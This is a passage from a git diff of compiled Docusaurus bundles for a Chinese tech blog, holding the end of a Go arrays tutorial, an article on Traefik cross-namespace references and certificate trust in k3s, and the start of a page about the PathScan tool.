v2)\n\t\t}\n\t\tfmt.Println()\n\t}\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u8f93\u51fa\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"\u5317\u4eac\t\u4e0a\u6d77\t\n\u5e7f\u5dde\t\u6df1\u5733\t\n\u6210\u90fd\t\u91cd\u5e86\t\n"})}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"\u6ce8\u610f\uff1a"})," \u591a\u7ef4\u6570\u7ec4",(0,i.jsx)(e.strong,{children:"\u53ea\u6709\u7b2c\u4e00\u5c42"}),"\u53ef\u4ee5\u4f7f\u7528",(0,i.jsx)(e.code,{children:"..."}),"\u6765\u8ba9\u7f16\u8bd1\u5668\u63a8\u5bfc\u6570\u7ec4\u957f\u5ea6\u3002\u4f8b\u5982\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'//\u652f\u6301\u7684\u5199\u6cd5\na := [...][2]string{\n\t{"\u5317\u4eac", "\u4e0a\u6d77"},\n\t{"\u5e7f\u5dde", "\u6df1\u5733"},\n\t{"\u6210\u90fd", "\u91cd\u5e86"},\n}\n//\u4e0d\u652f\u6301\u591a\u7ef4\u6570\u7ec4\u7684\u5185\u5c42\u4f7f\u7528...\nb := [3][...]string{\n\t{"\u5317\u4eac", "\u4e0a\u6d77"},\n\t{"\u5e7f\u5dde", "\u6df1\u5733"},\n\t{"\u6210\u90fd", "\u91cd\u5e86"},\n}\n'})}),"\n",(0,i.jsx)(e.h2,{id:"\u6570\u7ec4\u662f\u503c\u7c7b\u578b",children:"\u6570\u7ec4\u662f\u503c\u7c7b\u578b"}),"\n",(0,i.jsx)(e.p,{children:"\u6570\u7ec4\u662f\u503c\u7c7b\u578b\uff0c\u8d4b\u503c\u548c\u4f20\u53c2\u4f1a\u590d\u5236\u6574\u4e2a\u6570\u7ec4\u3002\u56e0\u6b64\u6539\u53d8\u526f\u672c\u7684\u503c\uff0c\u4e0d\u4f1a\u6539\u53d8\u672c\u8eab\u7684\u503c\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"func modifyArray(x [3]int) {\n\tx[0] = 100\n}\n\nfunc modifyArray2(x [3][2]int) {\n\tx[2][0] = 100\n}\nfunc main() {\n\ta := [3]int{10, 20, 30}\n\tmodifyArray(a) //\u5728modify\u4e2d\u4fee\u6539\u7684\u662fa\u7684\u526f\u672cx\n\tfmt.Println(a) //[10 20 30]\n\tb := [3][2]int{\n\t\t{1, 1},\n\t\t{1, 1},\n\t\t{1, 1},\n\t}\n\tmodifyArray2(b) //\u5728modify\u4e2d\u4fee\u6539\u7684\u662fb\u7684\u526f\u672cx\n\tfmt.Println(b) //[[1 1] [1 1] [1 1]]\n}\n"})}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"\u6ce8\u610f\uff1a"})}),"\n",(0,i.jsxs)(e.ol,{children:["\n",(0,i.jsx)(e.li,{children:"\u6570\u7ec4\u652f\u6301 \u201c==\u201c\u3001\u201d!=\u201d \u64cd\u4f5c\u7b26\uff0c\u56e0\u4e3a\u5185\u5b58\u603b\u662f\u88ab\u521d\u59cb\u5316\u8fc7\u7684\u3002"}),"\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:"[n]*T"}),"\u8868\u793a\u6307\u9488\u6570\u7ec4\uff0c",(0,i.jsx)(e.code,{children:"*[n]T"}),"\u8868\u793a\u6570\u7ec4\u6307\u9488 \u3002"]}),"\n"]})]})}function h(n={}){const{wrapper:e}={...(0,a.R)(),...n.components};return e?(0,i.jsx)(e,{...n,children:(0,i.jsx)(d,{...n})}):d(n)}}}]); \ No newline at end of file diff --git a/en/assets/js/2d9b71f4.8d3a3014.js b/en/assets/js/2d9b71f4.8d3a3014.js new file mode 100644 index 0000000..288ac64 --- /dev/null +++ b/en/assets/js/2d9b71f4.8d3a3014.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9918],{12595:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>o,contentTitle:()=>c,default:()=>h,frontMatter:()=>i,metadata:()=>r,toc:()=>d});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u7591\u96be\u6742\u75c7/k3s/Traefik\u8d44\u6e90\u8de8\u547d\u540d\u7a7a\u95f4\u8c03\u7528/README","title":"Traefik\u8d44\u6e90\u8de8\u547d\u540d\u7a7a\u95f4\u8c03\u7528","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/04.\u7591\u96be\u6742\u75c7/01.k3s/01.Traefik\u8d44\u6e90\u8de8\u547d\u540d\u7a7a\u95f4\u8c03\u7528/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/04.\u7591\u96be\u6742\u75c7/01.k3s/01.Traefik\u8d44\u6e90\u8de8\u547d\u540d\u7a7a\u95f4\u8c03\u7528","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u7591\u96be\u6742\u75c7/k3s/Traefik\u8d44\u6e90\u8de8\u547d\u540d\u7a7a\u95f4\u8c03\u7528/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u7591\u96be\u6742\u75c7/k3s/Traefik\u8d44\u6e90\u8de8\u547d\u540d\u7a7a\u95f4\u8c03\u7528/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/04.\u7591\u96be\u6742\u75c7/01.k3s/01.Traefik\u8d44\u6e90\u8de8\u547d\u540d\u7a7a\u95f4\u8c03\u7528/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"GO-CMS\u4ee3\u7801\u5ba1\u8ba1","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Go/GO-CMS\u4ee3\u7801\u5ba1\u8ba1"},"next":{"title":"\u8bed\u8a00\u77e5\u8bc6","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/"}}');var t=s(74848),a=s(28453);const i={},c="Traefik\u8d44\u6e90\u8de8\u547d\u540d\u7a7a\u95f4\u8c03\u7528",o={},d=[{value:"\u524d\u6cbf",id:"\u524d\u6cbf",level:2},{value:"\u5229\u7528",id:"\u5229\u7528",level:2},{value:"\u5c0f\u63d2\u66f2",id:"\u5c0f\u63d2\u66f2",level:2},{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:2},{value:"\u53c2\u8003",id:"\u53c2\u8003",level:2}];function l(e){const n={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,a.R)(),...e.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(n.header,{children:(0,t.jsx)(n.h1,{id:"traefik\u8d44\u6e90\u8de8\u547d\u540d\u7a7a\u95f4\u8c03\u7528",children:"Traefik\u8d44\u6e90\u8de8\u547d\u540d\u7a7a\u95f4\u8c03\u7528"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(n.table,{children:[(0,t.jsx)(n.thead,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(n.tbody,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.td,{style:{textAlign:"left"},children:(0,t.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-15 00:23:54"})]})})]}),"\n",(0,t.jsx)(n.h2,{id:"\u524d\u6cbf",children:"\u524d\u6cbf"}),"\n",(0,t.jsxs)(n.p,{children:["\u5728\u7814\u7a76",(0,t.jsx)(n.code,{children:"traefik"}),"\u8de8\u547d\u540d\u7a7a\u95f4\u8c03\u7528\u8d44\u6e90\u65f6\uff0c\u53d1\u73b0\u6709\u4e00\u4e2a\u975e\u5e38\u5751\u4eba\u7684\u70b9\uff0c\u5c31\u662f ",(0,t.jsx)(n.code,{children:"traefik"}),"\u6587\u6863\u6709\u4e00\u4e2a\u4e1c\u897f\u53eb \u8de8\u670d\u52a1\u5546\u547d\u540d\u7a7a\u95f4",(0,t.jsx)(n.code,{children:"(Provider Namespace)"}),"\uff0c\u8fd9\u4e2a\u662f\u4ec0\u4e48\u4e1c\u897f\u5462\uff0c\u5c31\u662f\u5982\u679c\u4f60\u5728 ",(0,t.jsx)(n.code,{children:"k3s/k8s"}),"\u4e2d\u6709\u9700\u8981\u5bf9docker\u63d0\u4f9b\u5546\u521b\u5efa\u7684\u8d44\u6e90\u8fdb\u884c\u8c03\u7528\u65f6\uff0c\u4f60\u53ef\u4ee5\u5f00\u542f\u8de8\u670d\u52a1\u5546\u547d\u540d\u7a7a\u95f4\u3002\u8fd8\u6709\u4e00\u4e2a\u5c31\u662f",(0,t.jsx)(n.code,{children:"Kubernetes"}),"\u81ea\u5e26\u7684\u547d\u540d\u7a7a\u95f4\uff0c\u6211\u4eec\u9700\u8981\u64cd\u4f5c\u7684\u5c31\u662f\u8fd9\u4e2a\u547d\u540d\u7a7a\u95f4\u3002"]}),"\n",(0,t.jsxs)(n.p,{children:["\u8fd9\u91cc\u7684",(0,t.jsx)(n.code,{children:"namespace: default"})]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-yaml",children:"apiVersion: traefik.io/v1alpha1\nkind: IngressRoute\nmetadata:\n name: default\n namespace: default # \u5c31\u662f\u8fd9\u4e2a\u5b57\u6bb5\nspec:\n entryPoints:\n - websecure # \u4f7f\u7528 HTTPS\n - web # HTTP\n routes:\n - match: Host(`www.wjlin0.com`) && PathPrefix(`/`) # \n kind: Rule\n services:\n - name: default\n"})}),"\n",(0,t.jsx)(n.h2,{id:"\u5229\u7528",children:"\u5229\u7528"}),"\n",(0,t.jsxs)(n.p,{children:["\u5982\u4f55\u8fdb\u884c",(0,t.jsx)(n.strong,{children:"\u8de8\u547d\u540d\u7a7a\u95f4\u8d44\u6e90\u8c03\u7528"}),"\u5462\uff0c\u5728",(0,t.jsx)(n.code,{children:"traefik"}),"\u6587\u6863\u4e2d\u63d0\u5230\u6709\u4e2a\u53c2\u6570",(0,t.jsx)(n.code,{children:"allowCrossNamespace"}),"\uff0c\u8fd9\u4e2a\u53c2\u6570\u662f\u63a7\u5236",(0,t.jsx)(n.strong,{children:"\u8de8\u547d\u540d\u7a7a\u95f4\u8d44\u6e90\u8c03\u7528"}),"\uff0c\uff08\u9ed8\u8ba4\u5173\u95ed\u7684\uff0c\u4e0d\u5141\u8bb8",(0,t.jsx)(n.strong,{children:"\u8de8\u547d\u540d\u7a7a\u95f4\u8d44\u6e90\u8c03\u7528"}),"\uff09\u3002"]}),"\n",(0,t.jsx)(n.p,{children:"\u8fd9\u662fhelm\u5b89\u88c5\uff0c\u53c2\u6570\u6240\u5728\u4f4d\u7f6e."}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-yaml",children:"......\n......\n......\n# -- Define [Startup Probe](https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/#define-startup-probes)\nstartupProbe: {}\n\nproviders: # @schema additionalProperties: false\n kubernetesCRD:\n # -- Load Kubernetes IngressRoute provider\n enabled: true\n # -- Allows IngressRoute to reference resources in namespace other than theirs\n allowCrossNamespace: true\n......\n......\n"})}),"\n",(0,t.jsxs)(n.p,{children:["\u5f00\u542f\u540e\uff0c\u914d\u7f6e",(0,t.jsx)(n.strong,{children:"\u8de8\u547d\u540d\u7a7a\u95f4\u8d44\u6e90\u8c03\u5ea6"}),"\uff0c\u9700\u8981\u9075\u5b88\u4ee5\u4e0b\u547d\u540d\u89c4\u5219\u3002"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-tex",children:"<\u8d44\u6e90\u547d\u540d\u7a7a\u95f4>-<\u8d44\u6e90\u540d\u79f0>@\u63d0\u4f9b\u5546\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u4e86\u89e3\u4e86\u4e0a\u8bc9\u7684\u64cd\u4f5c\u6b65\u9aa4\uff0c\u6211\u4eec\u5e94\u8be5\u600e\u4e48\u505a\u5462\uff0c\u6211\u63a5\u4e0b\u6765\u7ed9\u51fa\u4e00\u4e2a\u6848\u4f8b\uff1b"}),"\n",(0,t.jsxs)(n.p,{children:["\u9700\u6c42\u65f6\uff0c\u6211\u5c06",(0,t.jsx)(n.code,{children:"k3s-apiserver"}),"\u7684",(0,t.jsx)(n.code,{children:"ping"}),"\u76ee\u5f55\uff0c\u901a\u8fc7",(0,t.jsx)(n.code,{children:"traefik"}),"\uff0c\u5bfc\u51fa\u5230\u5916\u90e8\u8bbf\u95ee\u3002"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-yaml",children:"apiVersion: traefik.io/v1alpha1\nkind: IngressRoute\nmetadata:\n name: kubernetes-ping-ingressroute\n namespace: default\nspec:\n entryPoints:\n - websecure # \u4f7f\u7528 HTTPS\n - web # HTTP\n routes:\n - match: Host(`kube.wjlin0.com`) && PathPrefix(`/ping`) \n kind: Rule\n services:\n - name: kubernetes # \n port: 443 \n scheme: https\n"})}),"\n",(0,t.jsxs)(n.p,{children:["\u5728\u4e0a\u8bc9\u914d\u7f6e\u4e2d\u6211\u4eec\u6210\u529f\u5c06\u670d\u52a1",(0,t.jsx)(n.code,{children:"kubernetes"}),"\u5bfc\u51fa\u5230\u5916\u90e8\u8bbf\u95ee\uff0c\u4f46\u662f\u4f60\u8bbf\u95ee\u4e4b\u540e\u4f1a\u53d1\u73b0\uff0c\u8be5\u8def\u7531\u7206500\u7684\u9519\u8bef"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-sh",children:"\u279c ~ curl https://kube.wjlin0.com/ping\nInternal Server Error\n\u279c ~\n"})}),"\n",(0,t.jsxs)(n.p,{children:["\u8fd9\u662f\u56e0\u4e3a",(0,t.jsx)(n.code,{children:"kubernetes"}),"\u7684\u8bc1\u4e66\u662f\u81ea\u7b7e\u8bc1\u4e66\uff0c\u4f60\u9700\u8981\u5bf9\u8be5\u8bc1\u4e66\u8fdb\u884c\u5f15\u7528\u6216\u8005\u5ffd\u7565\u3002\u9996\u5148\u6211\u4eec\u627e\u5230\u8fd9\u4e2a\u8bc1\u4e66\uff0c\u5b83\u4f4d\u4e8e\u670d\u52a1\u5668\u7684"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-sh",children:"/var/lib/rancher/k3s/server/tls/serving-kube-apiserver.crt\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u7136\u540e\u6211\u4eec\u5c06 \u8bc1\u4e66 base64 \u8f6c\u6362\u3002"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{children:"base64 -w 0 /var/lib/rancher/k3s/server/tls/serving-kube-apiserver.crt\n"})}),"\n",(0,t.jsxs)(n.p,{children:["\u7136\u540e\u901a\u8fc7",(0,t.jsx)(n.code,{children:"rootCAsSecrets"})," \u5f15\u7528\u8fdb\u6765\uff0c\u5f53\u7136\u4f60\u53ef\u4ee5\u90fd\u4fdd\u5b58\u5728",(0,t.jsx)(n.code,{children:"default"}),"\uff0c\u8fd9\u91cc\u662f\u5728\u6f14\u793a\u5982\u4f55\u8de8\u547d\u540d\u7a7a\u95f4\u8c03\u7528\u3002"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-yaml",children:"apiVersion: traefik.io/v1alpha1\nkind: IngressRoute\nmetadata:\n name: kubernetes-ping-ingressroute\n namespace: default\nspec:\n entryPoints:\n - websecure # \u4f7f\u7528 HTTPS\n - web # HTTP\n routes:\n - match: Host(`kube.wjlin0.com`) && PathPrefix(`/ping`) # \u66ff\u6362\u4e3a\u4f60\u7684\u57df\u540d\n kind: Rule\n services:\n - name: kubernetes # \u66ff\u6362\u4e3a\u4f60\u7684\u670d\u52a1\u540d\u79f0\n port: 443 # \u66ff\u6362\u4e3a\u4f60\u7684\u670d\u52a1\u7aef\u53e3\n# strategy: RoundRobin # \u8d1f\u8f7d\u5747\u8861\u7b56\u7565\uff0c\u9ed8\u8ba4\u4e3a RoundRobin\n serversTransport: kube-system-kubernetes@kubernetescrd\n---\napiVersion: traefik.io/v1alpha1\nkind: ServersTransport\nmetadata:\n name: kubernetes\n namespace: kube-system\nspec:\n insecureSkipVerify: false\n rootCAsSecrets:\n - k3s-serving-kube-apiserver\n---\napiVersion: v1\nkind: Secret\nmetadata:\n name: k3s-serving-kube-apiserver\n namespace: kube-system\ndata:\n ca.crt: ......\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u518d\u6b21\u8fdb\u884c\u547d\u4ee4"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-sh",children:"\u279c ~ curl https://kube.wjlin0.com/ping\npong\n\u279c ~\n"})}),"\n",(0,t.jsx)(n.h2,{id:"\u5c0f\u63d2\u66f2",children:"\u5c0f\u63d2\u66f2"}),"\n",(0,t.jsx)(n.p,{children:"\u26a0\ufe0f \u5c0f\u63d2\u66f2\uff0c\u8fd9\u91cc\u9047\u5230\u4e00\u4e2a\u95ee\u9898\u5c31\u662f\u5982\u4e0b."}),"\n",(0,t.jsxs)(n.p,{children:["\u6211\u4f7f\u7528\u4e0b\u9762\u7684\u914d\u7f6e \u901a\u8fc7 ",(0,t.jsx)(n.code,{children:"traefik"})," \u5427 ",(0,t.jsx)(n.code,{children:"kubernetes"})," \u670d\u52a1\u7aef\u7684 ping \u76ee\u5f55\u5bfc\u51fa\u6765\uff0c\u7136\u800c \u51fa\u73b0\u4e86\u8bc1\u4e66\u9519\u8bef 500"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-yaml",children:"apiVersion: traefik.io/v1alpha1\nkind: IngressRoute\nmetadata:\n name: kubernetes-ping-ingressroute\n namespace: default\nspec:\n entryPoints:\n - websecure # \u4f7f\u7528 HTTPS\n - web # HTTP\n routes:\n - match: Host(`kube.wjlin0.com`) && PathPrefix(`/ping`) # \u66ff\u6362\u4e3a\u4f60\u7684\u57df\u540d\n kind: Rule\n services:\n - name: kubernetes\n port: 443 # \u66ff\u6362\u4e3a\u4f60\u7684\u670d\u52a1\u7aef\u53e3\n scheme: https\n serversTransport: kube-system-kubernetes@kubernetescrd\n---\napiVersion: traefik.io/v1alpha1\nkind: ServersTransport\nmetadata:\n name: kubernetes\n namespace: kube-system\nspec:\n serverName: kubernetes.default.svc\n insecureSkipVerify: false\n rootCAsSecrets:\n - k3s-serving\n certificatesSecrets:\n - k3s-serving\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u8fd9\u662f\u6211\u7684\u9519\u8bef"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-tex",children:'2024-12-31T19:01:08+08:00 DBG github.com/traefik/traefik/v3/pkg/proxy/httputil/proxy.go:113 > 500 Internal Server Error error="tls: failed to verify certificate: x509: certificate signed by unknown authority"\n'})}),"\n",(0,t.jsxs)(n.p,{children:["\u4e8b\u5b9e\u4e0a ",(0,t.jsx)(n.code,{children:"k3s-serving"})," \u8fd9\u4e2a\u662f k3s \u7684 \u7684\u8bc1\u4e66"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-sh",children:"\u279c ~ k get secrets -n kube-system k3s-serving -o yaml\napiVersion: v1\ndata:\n tls.crt: ..........\n tls.key: .......\nkind: Secret\nmetadata:\n .......\n .......\n .......\n name: k3s-serving\n namespace: kube-system\ntype: kubernetes.io/tls\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u6211\u5c1d\u8bd5\u53bb\u89e3\u51b3\u5b83 \uff0c\u4e8e\u662f\u6211\u521b\u5efa\u4e86\u4e00\u4e2a sercert ,\u53d1\u73b0\u5b83 \u80fd\u591f\u8bbf\u95ee\u4e86"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-yaml",children:"apiVersion: traefik.io/v1alpha1\nkind: IngressRoute\nmetadata:\n name: kubernetes-ping-ingressroute\n namespace: default\nspec:\n entryPoints:\n - websecure # \u4f7f\u7528 HTTPS\n - web # HTTP\n routes:\n - match: Host(`kube.wjlin0.com`) && PathPrefix(`/ping`) # \u66ff\u6362\u4e3a\u4f60\u7684\u57df\u540d\n kind: Rule\n services:\n - name: kubernetes\n port: 443 # \u66ff\u6362\u4e3a\u4f60\u7684\u670d\u52a1\u7aef\u53e3\n scheme: https\n serversTransport: kube-system-kubernetes@kubernetescrd\n---\napiVersion: traefik.io/v1alpha1\nkind: ServersTransport\nmetadata:\n name: kubernetes\n namespace: kube-system\nspec:\n serverName: kubernetes.default.svc\n insecureSkipVerify: false\n rootCAsSecrets:\n - meta\n certificatesSecrets:\n - k3s-serving\n---\napiVersion: v1\nkind: Secret\nmetadata:\n name: meta\n namespace: kube-system\ndata:\n ca.crt: ..... # the k3s crt base64\n"})}),"\n",(0,t.jsxs)(n.p,{children:["\u6211\u627e\u5230\u4e00\u4e2a\u7c7b\u4f3c\u7684\u95ee\u9898 ",(0,t.jsx)(n.a,{href:"https://github.com/traefik/traefik/issues/7788",children:"#7788"})]}),"\n",(0,t.jsxs)(n.p,{children:["\u7ffb\u4e86\u4e00\u4e0b\u6e90\u4ee3\u7801\uff0c\u53d1\u73b0\u53ea\u5bf9",(0,t.jsx)(n.code,{children:"ca.crt"}),"\u3001",(0,t.jsx)(n.code,{children:"tls.ca"}),"\u548c\u4e00\u4e2a\u51fa\u73b0\u7684",(0,t.jsx)(n.code,{children:"\u5bc6\u94a5"})]}),"\n",(0,t.jsx)(n.h2,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,t.jsxs)(n.p,{children:["traefik\u9ed8\u8ba4\u4e0d\u5f00\u542f\u8de8\u547d\u540d\u8c03\u7528\uff0c\u5982\u679c\u9700\u8981\uff0c\u9700\u8981\u5728\u5b89\u88c5\u65f6\uff0c\u6253\u5f00\u914d\u7f6e",(0,t.jsx)(n.code,{children:"allowCrossNamespace"}),"\u4e3a",(0,t.jsx)(n.code,{children:"true"}),"\uff0c\u5e76\u4f7f\u7528",(0,t.jsx)(n.a,{href:"https://doc.traefik.io/traefik/providers/overview/#provider-namespace",children:"\u547d\u540d\u89c4\u5219"})]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"When you declare certain objects in the Traefik dynamic configuration, such as middleware, services, TLS options or server transports, they reside in their provider's namespace. For example, if you declare a middleware using a Docker label, it resides in the Docker provider namespace.\n\nIf you use multiple providers and wish to reference such an object declared in another provider (e.g. referencing a cross-provider object like middleware), then the object name should be suffixed by the @ separator, and the provider name.\n\nFor the list of the providers names, see the supported providers table below.\n\n<resource-name>@<provider-name>\n\nAs Kubernetes also has its own notion of namespace, one should not confuse the provider namespace with the Kubernetes Namespace of a resource when in the context of cross-provider usage.\n\nIn this case, since the definition of a Traefik dynamic configuration object is not in Kubernetes, specifying a Kubernetes Namespace when referring to the resource does not make any sense.\n\nOn the other hand, if you were to declare a middleware as a Custom Resource in Kubernetes and use the non-CRD Ingress objects, you would have to add the Kubernetes Namespace of the middleware to the annotation like this <middleware-namespace>-<middleware-name>@kubernetescrd.\n"})}),"\n",(0,t.jsx)(n.h2,{id:"\u53c2\u8003",children:"\u53c2\u8003"}),"\n",(0,t.jsxs)(n.ul,{children:["\n",(0,t.jsx)(n.li,{children:(0,t.jsx)(n.a,{href:"https://doc.traefik.io/traefik/providers/overview/#provider-namespace",children:"https://doc.traefik.io/traefik/providers/overview/#provider-namespace"})}),"\n"]})]})}function h(e={}){const{wrapper:n}={...(0,a.R)(),...e.components};return n?(0,t.jsx)(n,{...e,children:(0,t.jsx)(l,{...e})}):l(e)}},28453:(e,n,s)=>{s.d(n,{R:()=>i,x:()=>c});var r=s(96540);const t={},a=r.createContext(t);function i(e){const n=r.useContext(a);return r.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function c(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(t):e.components||t:i(e.components),r.createElement(a.Provider,{value:n},e.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/2e16e39b.02f3ddf1.js b/en/assets/js/2e16e39b.02f3ddf1.js new file mode 100644 index 0000000..3c68ab9 --- /dev/null +++ b/en/assets/js/2e16e39b.02f3ddf1.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9880],{28453:(n,e,t)=>{t.d(e,{R:()=>c,x:()=>l});var s=t(96540);const i={},a=s.createContext(i);function c(n){const e=s.useContext(a);return s.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function l(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(i):n.components||i:c(n.components),s.createElement(a.Provider,{value:e},n.children)}},58400:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>d,contentTitle:()=>l,default:()=>o,frontMatter:()=>c,metadata:()=>s,toc:()=>r});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5de5\u5177\u4f7f\u7528/PathScan","title":"PathScan","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/03.\u5de5\u5177\u4f7f\u7528/01.PathScan.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/03.\u5de5\u5177\u4f7f\u7528","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5de5\u5177\u4f7f\u7528/PathScan","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5de5\u5177\u4f7f\u7528/PathScan","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/03.\u5de5\u5177\u4f7f\u7528/01.PathScan.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"SSRF\u6f0f\u6d1e","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SSRF/"},"next":{"title":"oss-put","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5de5\u5177\u4f7f\u7528/oss-put"}}');var i=t(74848),a=t(28453);const c={},l="pathScan",d={},r=[{value:"pathScan\u5b89\u88c5",id:"pathscan\u5b89\u88c5",level:2},{value:"\u4f7f\u7528",id:"\u4f7f\u7528",level:2},{value:"\u4e0b\u8f7d\u914d\u7f6e\u6587\u4ef6",id:"\u4e0b\u8f7d\u914d\u7f6e\u6587\u4ef6",level:3},{value:"\u57fa\u672c\u4f7f\u7528",id:"\u57fa\u672c\u4f7f\u7528",level:3},{value:"\u7f51\u7edc\u6d4b\u7ed8",id:"\u7f51\u7edc\u6d4b\u7ed8",level:3},{value:"\u57df\u540d\u641c\u7d22",id:"\u57df\u540d\u641c\u7d22",level:3},{value:"\u914d\u5408\u5176\u4ed6\u5de5\u5177",id:"\u914d\u5408\u5176\u4ed6\u5de5\u5177",level:3},{value:"\u66f4\u591a\u7528\u6cd5",id:"\u66f4\u591a\u7528\u6cd5",level:3},{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:2}];function h(n){const e={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,a.R)(),...n.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(e.tbody,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"left"},children:(0,i.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,i.jsx)(e.td,{style:{textAlign:"left"},children:"2024-04-01 